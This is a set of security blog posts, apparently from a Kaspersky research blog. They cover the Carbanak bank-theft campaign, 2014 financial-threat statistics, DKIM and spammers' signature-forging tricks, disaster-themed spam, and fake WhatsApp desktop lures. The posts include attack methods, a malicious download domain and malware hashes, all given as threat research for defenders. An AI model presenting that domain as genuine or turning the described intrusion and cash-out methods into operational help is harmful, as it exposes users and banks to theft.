The story of Carbanak began when a bank from Ukraine asked us to help with a forensic investigation. Money was being mysteriously stolen from ATMs. Our initial thoughts tended towards the Tyupkin malware. However, upon investigating the hard disk of the ATM system we couldn't find anything except a rather odd VPN configuration (the netmask was set to 172.0.0.0).

At this time we regarded it as just another malware attack. Little did we know then that a few months later one of our colleagues would receive a call at 3 a.m. in the middle of the night. On the phone was an account manager, asking us to call a certain number as matter of urgency. The person at the end of the line was the CSO of a Russian bank. One of their systems was alerting that data was being sent from their Domain Controller to the People's Republic of China.

Up to 100 financial institutions have been hit.Total financial losses could be as a high as $1bn#TheSAS2015#Carbanak

Tweet

When we arrived on site we were quickly able to find the malware on the system. We wrote a batch script that removed the malware from an infected PC, and ran this script on all the computers at the bank. This was done multiple times until we were sure that all the machines were clean. Of course, samples were saved and through them we encountered the Carbanak malware for the first time.

Modus Operandi

Further forensic analysis took us to the point of initial infection: a spear phishing e-mail with a CPL attachment; although in other cases Word documents exploiting known vulnerabilities were used. After executing the shellcode, a backdoor based on Carberp, is installed on the system. This backdoor is what we know today as Carbanak. It is designed for espionage, data exfiltration and remote control.

Each bank robbery took 2-4 months, from infecting the first computer to cashing the money out #TheSAS2015 #Carbanak

Tweet

Once the attackers are inside the victim´s network, they perform a manual reconnaissance, trying to compromise relevant computers (such as those of administrators') and use lateral movement tools. In short, having gained access, they will jump through the network until they find their point of interest. What this point of interest is, varies according to the attack. What they all have in common, however, is that from this point it is possible to extract money from the infected entity.

The gang behind Carbanak does not necessarily have prior knowledge of the inner workings of each bank targeted, since these vary per organisation. So in order to understand how a particular bank operates, infected computers were used to record videos that were then sent to the Command and Control servers. Even though the quality of the videos was relatively poor, they were still good enough for the attackers, armed also with the keylogged data for that particular machine to understand what the victim was doing. This provided them with the knowledge they needed to cash out the money.

Cash out procedures

During our investigation we found several ways of cashing out:

ATMs were instructed remotely to dispense cash without any interaction with the ATM itself, with the cash then collected by mules; the SWIFT network was used to transfer money out of the organisation and into criminals' accounts; and databases with account information were altered so that fake accounts could be created with a relatively high balance, with mule services being used to collect the money.

Infections and losses

Since we started investigating this campaign we have worked very closely with the law enforcement agencies (LEAs) tracking the Carbanak group. As a result of this cooperation we know that up to 100 targets have been hit. When it comes to financial institutions, In at least half of the cases the criminals were able to extract money from the infected institution. Losses per bank range from $2.5 million to approximately $10 million. However, according to information provided by LEAs and the victims themselves, total financial losses could be as a high as $1 billion, making this by far the most successful criminal cyber campaign we have ever seen.

Losses from #Carbanak per bank range from $2.5 million to approximately $10 million #TheSAS2015

Tweet

Our investigation began in Ukraine and then moved to Moscow, with most of the financial entities targeted by the group located in Eastern Europe. However thanks to KSN data and data obtained from the Command and Control servers, we know that Carbanak also targets victims in the USA, Germany and China. Now the group is expanding its operations to new areas. These include Malaysia, Nepal, Kuwait and several regions in Africa, among others.

The group is still active, and we urge all financial organizations to carefully scan their networks for the presence of Carbanak. If detected, report the intrusion to law enforcement immediately.

For a full description of the campaign, IOCs and list of infections please see our report.

To check your network for Carbanak's presence, you can also use the open IOC file available here.

FAQ What is Carbanak?

Carbanak is the name we use for an APT-style campaign targeting (but not limited to) financial institutions. The main difference with other APT attacks is that attackers do not see data but money as their primary target. We say APT-like, however the attack is not strictly speaking Advanced. Strictly speaking, the main feature defining the attackers is Persistence.

We name the backdoor Carbanak since it is based on Carberp and the name of the configuration file is "anak.cfg".

What are the malicious purposes of this campaign?

The attackers infiltrate the victim´s network looking for the critical system they can use for cashing money out. Once they have stolen a significant amount of money (from 2.5 to 10 MM USD per entity), they abandon the victim.

Why do you think it is significant?

Banking entities have always been a primary target for cybercriminals. However it was almost always through their customers. This time attackers are targeting financial entities directly in an unprecedented, determined, highly professional and coordinated attack, and using any means from the target to cash as much money out as possible, up to an apparently auto-imposed limit.

Can you explain the timeline of the campaign?

According to what we know, the first malicious samples were compiled in August, 2013 when the cybercriminals started to test the Carbanak malware. The first infections were detected in December, 2013.

On average, each bank robbery took between two and four months, from infecting the first computer at the bank's corporate network to cashing the money out.

We believe that the gang was able to successfully steal from their first victims during the period of February-April 2014. The peak of infections was recorded in June 2014.

Currently the campaign is still active.

Why didn´t you make the details public until now?

Since we started working on this campaign we have collaborated with the different LEAs involved in the investigation and helped them as much as possible. As it remains an open investigation, we were asked not to share any details until it was safe to do so.

Have you reached victims and Computer Emergency Response Teams (CERTs) in those countries where you have detected the incidents?

Yes, this investigation turned into a joint operation between Kaspersky Lab's Global Research and Analysis Team and international organizations, national and regional law enforcement agencies and a number of Computer Emergency Response Teams (CERTs) worldwide.

One of our main goals was to disseminate our knowledge of the campaign and IOCs among all detected and potential victims. We used national CERTs and LEAs as the distribution channel.

How did you contribute to the investigation?

We're helping to assist in investigations and countermeasures that disrupt malware operations and cybercriminal activity. During the investigations we provide technical expertise such as analyzing infection vectors, malicious programs, supported Command & Control infrastructure and exploitation methods.

How was the malware distributed?

Attackers used spear phishing emails with malicious attachments against employees of the targeted financial institutions, in some cases sending them to their personal email addresses. We believe the attackers also used drive by download attacks, but this second assumption is still not 100% confirmed.

What is the potential impact for victims?

Based on what the attackers stole from victims, a new victim faces potential losses of up to 10 million $. However this figure is arbitrary based on what we know: nothing limits the potential loss once an institution is infected.

Who are the victims? What is the scale of the attack?

Victims are mainly institutions in the financial industry; however we have also found traces of infections in POS terminals and PR agencies. For a sense of the scale of the attack please see the different charts and maps we provide in our report.

As with many malware campaigns there are a variety of companies/individuals analyzing the malware, resulting in requests to the Command and Control server. When we analyze those servers, all we see are the IPs and possibly some additional information. When this additional information is not present, and when the IP cannot be traced back to its owner, we mark it as an infection.

Based on this approach our analysis concludes that Russia, the US, Germany and China are the most affected countries in number of traces of infection (IP addresses).

How are corporate users protected against this type of attack? Does Kaspersky Lab protect their users?

Yes, we detect Carbanak samples as Backdoor.Win32.Carbanak and Backdoor.Win32.CarbanakCmd.

All Kaspersky Lab's corporate products and solutions detect known Carbanak samples. To raise the level of protection, it is recommended to switch on Kaspersky's Proactive Defense Module included in each modern product and solution.

We also have some general recommendations:

  • Do not open suspicious emails, especially if they have an attachment;
  • Update your software (in this campaign no 0days were used);
  • Turn on heuristics in your security suites, this way it is more likely that such new samples will be detected and stopped from the beginning.

Financial cyber threats in 2014: things changed

Thu, 02/12/2015 - 07:00

 Download Full Report PDF

In 2013 we conducted our first in-depth research into the financial cyber-threat landscape. At that time we registered a sudden surge in the number of attacks targeting users' financial information and money. The financial cyber threats landscape was discussed in detail in Kaspersky Lab's "Financial Cyber-threats in 2013" report.

In 2014, the situation changed considerably: the number of attacks and attacked users significantly decreased, as did the amount of financial phishing. The key findings of the study into the financial cyber-threat landscape in 2014 are as follows:

Attacks with Financial malware in 2013 and 2014

Financial phishing attacks
  • In 2014 financial phishing attacks, which include phishing that targets Banks, Payment Systems and E-shops, accounted for 28.73% of all phishing attacks (a decrease of 2.72 percentage points).
  • Bank-related phishing accounted for 16.27% of all attacks.
  • The amount of phishing against Payment Systems increased 2.4 p.p. (from 2.74% in 2013 to 5.14% in 2014)
Financial malware attacks
  • In 2014 Kaspersky Lab products detected 22.9 million attacks involving financial malware against 2.7 million users. This represents a YoY decrease of 19.23% for attacks and 29.77% of users.
  • Among the total number of users subjected to all types of malware attacks, 4.86% of users encountered attacks involving some kind of financial threat – that's 1.34 percentage points less than in 2013.
  • The amount of Banking malware rose 8.89 percentage points to 75.63% of all financial malware attacks in 2014.
  • The number of attacks involving Bitcoin mining malware tripled: from 360,065 attacks in 2013 to 1,204,987 in 2014

There are several possible reasons for these changes. First of all, law enforcement agencies around the world actively prosecuted cybercriminals who were spreading financial malware and phishing. In particular, last summer, law enforcement agencies in the US and the UK stopped the activities of two dangerous malicious campaigns – Gameover / Zeus and Shylock.

The second reason for the decline in the number of attacks might be a shift in the cybercriminals' focus – instead of attacking end-users they are now pursuing organizations that work with financial information and payment tools. Throughout the year there were frequent reports of malicious attacks on large stores, hotel chains and fast food restaurants that serve millions of customers a day. In each case the fraudsters used malicious software that could steal bank card data directly from the memory of the POS terminals used by the organizations under attack. Banks became yet another "new" cybercriminal target. In 2014, Kaspersky Lab investigated several attacks targeting banks rather than their users' accounts. Neither of these "new" types of attack prompted a rash of new AV detections simply because there are so few organizations involved compared with the number of private users running antivirus solutions, so it is difficult to compare the number of attacks. Nevertheless, the damage from such attacks amounted to millions of dollars so this threat can hardly be dismissed.

#Cybercriminals are less interested in "mass" malicious attacks, preferring fewer, more "targeted" #attacks #KLreport

Tweet

A third possible reason for the reduced number of cyberattacks lies in a general trend observed by Kaspersky Lab specialists in 2014. According to the company's experts, cybercriminals are less interested in "mass" malicious attacks on users, preferring fewer, more "targeted" attacks. This is shown by the increased levels of targeted phishing: fraudsters only go after a specific group of users (for example, online banking users) rather than spreading mass mailings with malicious links.

This tactic suggests that a selective malicious mailing is less likely to be detected by IT security specialists and the lifespan of malicious links and malware samples will be extended. The trick is not always successful, but one consequence of its use is a decline in the absolute number of registered cyberattacks.

Android financial malware attacks

And what about mobile financial threats?

First of all, when we talk about mobile cyberthreats we focus on Android cyberthreats. According to Kaspersky Lab experts, more than 99% of mobile malware they are aware of is designed to attack Android devices.

48.15% of the attacks against #Android users utilized malware targeting financial data (Trojan-SMS, Trojan-Banker)

Tweet

In 2014 Kaspersky Lab and INTERPOL released a joint study on Mobile Cyberthreats which – among others – covered financial malware targeting Android users. According to the findings, there were 3,408,112 attacks against 1,023,202 users recorded in the period from August 1st, 2013 to July 31st 2014. About 500,000 users have encountered Android malware designed to steal money at least once. More than half a year has passed since the end of the period covered by the Kaspersky Lab / INTERPOL study and here is how things changed since:

  • 48.15% of the attacks against users of Android-based devices blocked by Kaspersky Lab products utilized malware targeting financial data (Trojan-SMS and Trojan-Banker)
  • In comparison with 2013 the number of financial attacks against Android users increased 3.25 times (from 711,993 to 2,317,194 attacks) and number of attacked users was up 3.64 times (from 212,890 to 775,887 users)

Attacks against users of Android-based devices in 2013 and 2014

In other words, the ever-increasing numbers of financial attacks against users of Android-based devices is a strong trend that shows no sign of declining.

Read more about financial cyber-threats in 2014 in our whitepaper.

DKIM technology on guard of your mail

Tue, 02/10/2015 - 05:00

Over the last decade DKIM signatures have become an important technology in the extensive list of methods for fighting against spam. Despite the fact that many users have no idea what the term DKIM even means, it is exactly this system that behind the scenes keeps our mailboxes guarded from various types of unsolicited mail, as well as protects a part of the world mail traffic from being wrongly labeled as "spam".

In this article we investigate the structure of DKIM in perspective from its emergence all the way up to nowadays. We also reveal the main advantages and downsides of this piece of technology, as well as explore typical spammers' tricks for forging DKIM signatures.

Concept of DKIM

DKIM technology (DomainKeys Identified Mail) provides a sender verification and guarantees the integrity of the delivered email. The verification is based on the electronic message signature which is generated with asymmetric cryptography. This signature is added to the service headers and is transferred transparently for the end user.

DKIM signature validation occurs automatically on the user side. It relies on the data extracted from the DKIM header as well as on the public encryption key retrieved from the sender's DNS domain name records. The message might be marked as scam, phishing, or suspicious if the specified domain name was not authorized to send this message, depending on the user's policies. Email clients are more loyal to the correspondence with successfully validated DKIM headers, as opposed to the messages with failed DKIM verification. In the meantime, emails without any DKIM headers are processed in the standard mode.

DKIM history

The history of DKIM starts in 2003 with an independent technology DomainKeys (DKIM ancestor) developed by Mark Delany as a part of his work at Yahoo. Two years later Yahoo is granted a patent for Domainkeys, and a wide range of vendors starts to prepare the first recommendatory version of DKIM standard.

In parallel with the DomainKeys development in 2003-2007, Cisco creates their own project "Identified Internet Mail" (IIM), based on a similar concept of authentication with the message signature.

In 2007 IETF publishes DomainKeys standard RFC 4870 (as already deprecated one) and the first standard of DKIM RFC 4871. Later on DKIM standard improves and gets updated in 2009 (RFC 5672). Finally, in 2011 IETF decides to merge two specs, IIM and DKIM, into the final standard RFC 6376.

Despite the fact that new standard had been published, by the year 2012 numerous companies were still using a deprecated 2007-year version of standard. This created a lot of interesting research on potential vulnerabilities in DKIM which we discuss below.

How it works

DKIM is based on the standard asymmetric encryption.

5 main DKIM stages:
  1. For every server a public/private key pair (or a set of pairs) is generated.
  2. The private key is stored on the sender's server and is being used to create all corresponding DKIM headers for the outgoing mail.
  3. The public key is added to the domain DNS zone file in the form of special TXT-record by the domain owner and be comes accessible to everyone.
  4. Email with DKIM signature is sent to the recipient (see below).
  5. Signature is verified using the public key retrieved from the DNS records.
DKIM-signed email delivery
  1. Compose and send message.
    User sends an email and it is accepted by the sender's mail server.
  2. Create DKIM signature.
    The mail server adds a new "DKIM signature" header. This header includes an electronic signature created with the private encryption key, the message's body, its headers, current time, and other parameters.
  3. Transfer signed message.
    Message with a new signed "DKIM signature" header is sent to the recipient.
  4. Message reception and signature validation.
    The recipient's mail client analyzes the DKIM header and gives a verdict based on the public key, whether the sender and email are legitimate or not.
DKIM header validation

The very last stage, message validation, is especially interesting.
Main milestones:

  1. Sending DNS-request.
    Mail client/service performs a DNS-request that includes the domain name from which allegedly the message was sent.
  2. Public encryption key retrieval.
    The corresponding TXT-record that includes a public key is extracted from the response body from the DNS-server
  3. DKIM header analysis:
    1. Every tag in the header is decrypted from Base64 to its text representation.
    2. Received strings are decrypted using the previously retrieved public key.
  4. Final verdict.
    The last stage is to compare the body text and headers with the decrypted information from the DKIM header. Any sort of discrepancy leads to dkim=fail, whereas if the content matches the verdict is dkim=pass.

DKIM header structure

Typical DKIM signature headers comprises of a list of tags like "tag=value". Tags names have short names and usually are 1-2 characters long.

Example:

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=foursquare.com; h=from:to:subject:mime-version:content-type; s=smtpapi; bh=9UsnWtzRLBWT7hnQc8V2RF4Ua4M=; b=IgnW7QsK2LBp0VQJ4FJcLv9MmHBvD 2Ch6jPxQ/Hkz+TX2WXyWkGbScx4gbZeWj3trqN4LUVvTf2U+htG4Wsg6sQAKqvnC neTeDvcmm225CKji0+MSXL8VK6ble8mkk14EAwWDP8+DJMwL2f7v/wp6QEdd7jqY q/fX+TY5ChIYHQ= Tags and descriptions

Main tags:

Tag Tag description b message content (body + headers, encoded in Base64) bh hash of the canonicalized body part of the message(also in Base64) d domain name of the signing entity h list of signed headers

Additional headers:

Tag Tag description a main algorithm to generate the signature v system version s selector subdividing the namespace for the "d=" (domain) tag c algorithm to use to convert the body and headers to the canonical form q list of query methods used to retrieve the public key x signature expiration time i identity of the client on behalf of which the message is signed (in quoted-printable) l body length count in the number of octets in the body included in the cryptographic hash t signature timestamp z copied header fields at the moment of signature generation Common attack methods on DKIM Simple attacks

First attempts to use DKIM by spammers were observed by us back in 2009. Originally, spammers tried to add headers with content that was far away from valid DKIM signatures. Spammers paid very small attention to the accuracy of the signature, what created some pretty interesting cases.

For example, spammers used the same header for all emails in this spam mailing (the genuine DKIM headers are actually different for non-identical messages since each of them is based the message body, headers, timestamps, and other unique factors).

Tags spoofing

Other spam samples show how spammers copied DKIM signature from the legitimate third-party website and for every email changed content of only one DKIM-tag, completely forgetting that other tags also depend on the message content and should have different values as well.

Similar mistakes systematically appeared in spam throughout the last years.

Some of the most popular of them:

  1. Spammers correctly generate the "b"-tag which describes the message body, but forget about the "bh"-tag (hashed body).
  2. Domain name specified in "d"-tag does not correspond to the sender, nor to any details information in the email at all.
  3. Specified timestamp ("t"-tag) is not accurate and is related to some other date in the distant past.
Legitimate DKIM headers in spam

Spammers are capable of setting up their own mail servers and domains in order to generate legitimate DKIM headers as the average system administrator would do. In spite of that, valid DKIM headers have been fairly uncommon in spam until recently.

This is largely due to the complexity of the installation process of the DKIM server side for the valid signatures generation. However, the number of domain names involved in the spam activity has increased significantly over time, therefore attacks on DKIM have become more efficient and profitable for spammers. For these reasons spammers had to learn how to skillfully operate DNS-records of their numerous domains.

In the example below we can see a perfectly valid DKIM signature along with a correct domain's  TXT-record which lead to the "dkim=pass" verdict when coupled together.

This extra work appears to be reasonable enough for spammers since many email services are more loyal to the messages with correct DKIM signatures, and spammers' mail eventually has higher chances not to be banned by anti-spam filters and end up in the user's mailbox.

In addition to simple checks for the "DKIM=fail" verdict in message headers, our Kaspersky Security for Linux Mail Server detects all email spam with mentioned spammers tricks. It either detects this mail as spam and forwards straight to the junk folder  or increases the spam rate of the message.

Vulnerabilities and weaknesses of DKIM
  1. DKIM does not provide any guarantees.

It is not reasonable to rely solely on DKIM for the following reasons:

а) Spammers, as well as the average users, can correctly configure DKIM on their own website.
b) It is possible that some of mail coming from a single domain name does not have any DKIM headers. One example might be if the domain uses multiple mail servers with different configurations, although there might be many other scenarios.

Because of these reasons, the standard advises not to "penalize" any mail without DKIM signatures.

  1. Lack of sustainability when message structure changes.

DKIM signature becomes invalid when the headers order is even slightly modified, when new headers are added, or when headers had any minor changes in their content. These kinds of changes are quite common and occur when the message is processed by the server-forwarder on the way to the recipient.

  1. Short encryption keys are vulnerable.

All DKIM signatures signed with private keys shorter than 1024 bits in length are vulnerable according to the research by Zach Harris published in Wired in October 2012. Moreover, Harris managed to crack the 384-bit authentication in just 24 hours using his laptop only. You can read about other requirements to DKIM in our blog article about this news.

Interestingly enough, Harris had successfully sent emails to Google founders Sergey Brin and Larry Page in 2012 by spoofing their DKIM headers and formatting messages as their personal correspondence between each other.

Recently, numerous companies including Google and Microsoft started to intensively promote the use of encryption keys with the sufficient length. Despite that, there are still a great number of insecure mail servers signing DKIM headers with private keys of not cryptographically strong lengths.

Advantages of DKIM
  1. Correctly created DKIM signature confirms that the received message has been indeed sent from the specified domain.
  2. DKIM is a powerful tool for building a domain reputation based on the variety of messages received throughout a period of time (often used by diverse anti-spam solutions and by members of the DKIM reputation project)
  3. DKIM gives another indicator which helps to make a decision on the client side, whether to trust the sender or not.
How to use DKIM?

DKIM is used in combination with other technologies of mail reputational analysis. The majority of modern email services and mail clients already support DKIM verification. However, it is useful to ensure that DKIM is configured correctly if you use your own domain name, or if you want to set up DKIM on your own mail server.

DKIM installation on the corporate mail service

Many corporate email services support DKIM installation with only several clicks required. However, the domain administrator will have to manually edit the DNS zone file to add corresponding TXT-records.

For example, this is how the DKIM activation process looks like for Gmail for Work service.

  1. Open administratior panel for your domain name at https://admin.google.com
  2. Choose "Apps" in the list of menu items.
  3. Then choose Gmail from the list of apps.
  4. Confirm the intention to activate the "Email-authentication" and click "Generate new record".
  5. Service will generate the content of new TXT-record that you have to store in your domain's DNS zone file. To do that, open your domain's administrator panel, find a section for manually editing the domain zone, add a new record with TXT type, and copy there all values offered by Gmail.
  6. Final content of the zone record should be similar to:

            google._domainkey IN TXT v=DKIM1; k=rsa; p=(generated public key)

  7. As an extra step, you can create another TXT-record in order to support SPF policy as well. For Gmail for Work service this record should be:
  8.         @ IN TXT  v=spf1 include:_spf.google.com ~all

    This record authorizes Google servers to send mail from your domain name, and therefore the reversed verification on the recipient side will result in the spf=pass verdict.

  9. Shortly after you finish all previous steps (often already after 20 minutes, but may take up to 48 hours), all emails sent from your domain start to be labeled with dkim=pass and spf=pass flags, confirming the legitimacy of the sender.

If you have any problems with installation, the DKIM installation manual and SPF record manual from Google Apps should be helpful. For the details on the zone file editing, refer to your domain name registrant documentation.

DKIM installation on your own mail server

Setting up DKIM on your own mail server is a less trivial process. We will give a short explanation of the DKIM installation procedure for Postfix mail agent on the server with Debian-like distribution. DKIM installation for other mail servers and OS is analogous. For more details, refer to the documentation on the interested email client and the information at the OpenDKIM project website.

Main stages:

  1. Install Postfix MTA and the following OpenDKIM packages from the official repositories depending on your distribution
  2.         postfix opendkim opendkim-tools

  3. Generate the private key to be able to create DKIM signatures in the future. You will need to specify your domain name, as well as the selector name that can be chosen arbitrarily (used later).
  4.         $ opendkim-genkey -r -s selector -d yourdomain.com

    Store the generated key to the arbitrary file in the server directory with limited access and specify the path to it in the configuration file below.

  5. Copy the example file from /etc/opendkim/opendkim.conf.sample to /etc/opendkim/opendkim.conf and edit the following options depending on your domain name and the chosen selector name:
  6.         /etc/opendkim/opendkim.conf
            Domain                yourdomain.com
            KeyFile                /path/to/the/key
            Selector                selector
            Socket                  inet:8891@localhost
            UserID                 opendkim

  7. Create new TXT-record in your DNS zone file (see also examples of zone file configuration above in the example for Gmail for Work service). Do not forget to specify your selector name picked on the previous steps. The record should look similar to:
  8.         selector._domainkey IN TXT v=DKIM1; k=rsa; p=...

    You can validate the TXT-record of your domain with a simple request using host tool:

            host -t TXT selector._domainkey.yourdomain.com

    However, take into account it might take up to several hours to have your TXT-record updated because DNS providers cache data on their side.

  9. The last stage is the integration of opendkim to Postfix. Edit the configuration file /etc/postfix/main.cf and add the following data to it:
  10.         /etc/postfix/main.cf
            smtpd_milters = inet:localhost:8891
            non_smtpd_milters = inet:localhost:8891

  11. The installation is finished and you can run opendkim service.
  12.         sudo service opendkim start

Indicators of DKIM-validated mail

The majority of public email services support DKIM signatures, validate them transparently for the user, and use the received verdicts for their own anti-spam systems.

Some services try to make DKIM-check more visual and mark emails that successfully pass DKIM validation.

For example, Gmail service marks emails with a 'secured connection' icon if the sender is verified and this email passes some internal validations for the sender.

You can enable this functionality in Settings → Labs → Authentication icon for verified senders.

As another example, Yandex.Mail service supports DKIM-indicators by default. It shows the  icon when this email has a valid electronic signature.

Alternatives to DKIM

DKIM technology has various competitors and has become a basis for other sender authentication solutions.

  1. Sender Policy Framework (SPF)

SPF also uses DNS for storing information, and is a tool for verification the sender's domain. As opposed to DKIM, SPF stores not the public key in DNS records, but the list of the servers authorized to send email messages. Overall, SPF allows to verify the authenticity of the domain name, but not the message text or its headers.

Nonetheless, SPF technology is more widespread than DKIM and is supported by the vast majority of mail clients and email services.

  1. Pretty Good Privacy (PGP)

PGP is currently the most popular algorithm for email encryption in the world. It allows to encrypt the entire message under assumption that both sides generate public/private keys in advance and exchange the public keys. DKIM does not try to compete with PGP while being just an extension of the ordinary concept of email-message with the ability to validate the sender.

  1. Domain-based Message Authentication, Reporting and Conformance (DMARC).

DMARC is a relatively fresh authentication method that combines both SPF and DKIM technologies. This system was presented for the first time in 2011 and numerous top vendors expressed interest in it. In 2013 DMARC was already protecting more than half of the world mailbox while still not yet being an official standard, which once again proves the success of DKIM technology that underlies DMARC.

Spammers against hurricanes and terrorist attacks

Wed, 02/04/2015 - 06:00

Nothing holds a potential reader's attention stronger than a story about a catastrophe. A few days ago we came across an excellent example of a mass mailing where spammers took full advantage of this universal fascination with destruction.

The mass mailing in question is intended primarily for the US users. In it, the spammers list a series of recent tragedies and predict that worse is yet to come. They also propose a solution – just click the link to find out how to protect yourself and your family from harm.

In the email below the authors mention Sandy hurricane that hit North America about two years ago.

The spammers recall the crisis that faced many Americans after that hurricane – stranded in badly-damaged houses without food or electricity. The author of the email claims to know a guy who lived right in the center of the storm, in a wind-lashed city in New Jersey, and who suffered no shortages of anything. Click the link, and the spammers promise you'll enjoy the same good fortune if disaster strikes your neighborhood.

Yet another example mentions the recent terror attacks in France.

In this email, the spammers paint a bleak picture of America's immediate future, claiming the government is hiding the truth but expects blood to flow in the streets as it did in France. But there is an answer – just click the link and you'll find out how to protect your family from any attack.

When users follow these links they are taken to sites that are also striking. They start with an audio presentation of a confidential story told by a well-wisher.

The design of the site, the voice and the details of the story differ but the essence is the same: anyone who spends a few minutes to listen to the audio will be introduced to our hero, understand why he decided to share his warnings about the disasters in store for America and, eventually, find out how to build a miracle machine that can be easily assembled in your own home. The link to the video tutorial on self-assembly of this life-saving device costs just a few dozen dollars and shows you how to create a generator so simple that even your grandmother could make it work. Happy buyers don't only get an autonomous source of energy to be used in the event of disaster; they ca also save on household energy bills.

The audio is supported by a presentation which displays the speaker's text. So even users who cannot turn on the sound need only have the patience to watch for a few minutes, see the offer and reward the spammers for their efforts to spread paranoia by sending them their hard-earned dollars.

WhatsApp for Web in the sight of cybercriminals

Mon, 02/02/2015 - 08:40

There is no doubt WhatsApp is among the most popular mobile IMs nowadays – its 700 million users worldwide were eagerly awaiting this week's promised desktop version. However, it wasn't just users who were waiting – cybercriminals were quick to start using this new feature in their attacks, aiming to spread malware and infect users.

In fact we've been seeing malicious messages about a supposed desktop WhatsApp long before the app added that platform to its repertoire. Fake downloads appeared in several languages and countries, and now there is a real product out there the fraudsters have returned to their old attacks, dressed them up in new clothes and sent them on the prowl for new victims. In Brazil, for example, we soon saw messages like this:

"WhatsApp for your PC" is now real, but this link is malware

We found several malicious domains registered to be used in these attacks. Some were already in use and others were waiting their owners' command, such as whatsappcdesktop.com.br, spreading Brazilian Trojan bankers (b93417abdc82cf79d79b737b61744353 and 9f485efea5c20b821e9522e3b4aa0e11):

However, other bad guys decided to prepare a nice design and ask users to install a suspicious Chrome extension that had nothing to do with WhatsApp:

You do not need a Chrome extension to use WhatsApp Web…

There are also some unofficial desktop versions of WhatsApp circulating among speakers of Arabic and Spanish. Here a website offer a version of "WhatsApp Plus" for installation:

And here the "WhatsApp Spy" targeting Spanish-speaking countries:

To download the supposed desktop version you need to inform your mobile number:

Why they ask your number? To subscribe on premium services that will cost money and to send you spam. Yes, spam. One thing is certain: all these web services aim to easily collect your mobile number and feed the long-established spam industry that already uses WhatsApp. As pointed out by Adaptive Mobile, the number of these spam messages increases day by day. WhatsApp process around 30 billion messages per day – not surprisingly, many of them are spam:

Mobile Spam, now on your instant message

It´s not difficult find Brazilian spammers who are already doing this, masquerading as 'marketing companies' and selling packages to disperse spam. Their services don't just include text, there's also the opportunity of spreading pics, audio or even video for the low price of $0.03 cents per message, including an admin and API panel:

U$75 for 5k credits, which correspond to 5,000 spam messages

Unfortunately, it is not possible block messages from unknown contacts on WhatsApp; all you can do is block the sender after the message was arrived, which does not solve the problem at all. In all cases keep in mind the real web services of WhatsApp are located at https://web.whatsapp.com so please refuse imitations and suspicious apps.